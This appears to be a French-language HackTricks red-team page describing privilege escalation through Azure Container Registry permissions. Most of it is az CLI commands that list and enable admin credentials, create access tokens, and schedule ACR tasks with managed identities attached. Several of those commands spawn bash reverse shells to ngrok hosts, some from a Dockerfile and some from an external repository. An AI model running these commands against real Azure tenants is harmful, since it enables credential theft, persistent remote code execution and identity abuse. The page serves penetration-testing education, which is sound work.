Az - Azure Container Registry Privesc

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Azure Container Registry

Pour plus d'informations, consultez :

Az - Container Registry

Microsoft.ContainerRegistry/registries/listCredentials/action

Cette permission permet à l'utilisateur de lister les identifiants d'administration de l'ACR. Cela est utile pour obtenir un accès complet au registre.

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"

Dans le cas où les identifiants administratifs ne sont pas activés, vous aurez également besoin de la permission Microsoft.ContainerRegistry/registries/write pour les activer avec :

bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'

Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action

Ces permissions permettent à l'utilisateur de créer un nouveau token avec des mots de passe pour accéder au registre.

Pour utiliser az cli pour le générer comme dans l'exemple suivant, vous aurez également besoin des permissions Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read

bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin

Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action

Ces permissions permettent à l'utilisateur de construire et exécuter une image dans le registre. Cela peut être utilisé pour exécuter du code dans le conteneur.

[!WARNING] Cependant, l'image sera exécutée dans un environnement isolé et sans accès au service de métadonnées. Cela signifie que le conteneur n'aura pas accès aux métadonnées de l'instance, donc cela n'est pas vraiment utile pour élever les privilèges.

bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null

Microsoft.ContainerRegistry/registries/tasks/write

C'est la principale autorisation qui permet de créer et de mettre à jour une tâche dans le registre. Cela peut être utilisé pour exécuter un code à l'intérieur d'un conteneur avec une identité gérée attachée à celui-ci dans le conteneur.

Voici un exemple de la façon d'exécuter un reverse shell dans un conteneur avec l'identité gérée par le système attachée à celui-ci :

bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Une autre façon d'obtenir un RCE à partir d'une tâche sans utiliser un dépôt externe est d'utiliser la commande az acr task create avec le drapeau --cmd. Cela vous permettra d'exécuter une commande dans le conteneur. Par exemple, vous pouvez exécuter un shell inversé avec la commande suivante :

bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity

tip

Notez que pour attribuer l'identité gérée par le système, vous n'avez besoin d'aucune autorisation spéciale, bien qu'elle doive avoir été activée au préalable dans le registre et avoir reçu certaines autorisations pour être utile.

Pour attribuer une identité gérée par l'utilisateur également, vous auriez besoin de l'autorisation Microsoft.ManagedIdentity/userAssignedIdentities/assign/action pour faire :

bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"

Pour mettre à jour le dépôt d'une tâche existante, vous pouvez faire :

bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git

Microsoft.ContainerRegistry/registries/importImage/action

Avec cette autorisation, il est possible d'importer une image dans le registre azure, même sans avoir l'image localement. Cependant, notez que vous ne pouvez pas importer une image avec un tag qui existe déjà dans le registre.

bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import

Pour démarquer ou supprimer un tag d'image spécifique du registre, vous pouvez utiliser la commande suivante. Cependant, notez que vous aurez besoin d'un utilisateur ou d'un jeton avec suffisamment de permissions pour le faire :

bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks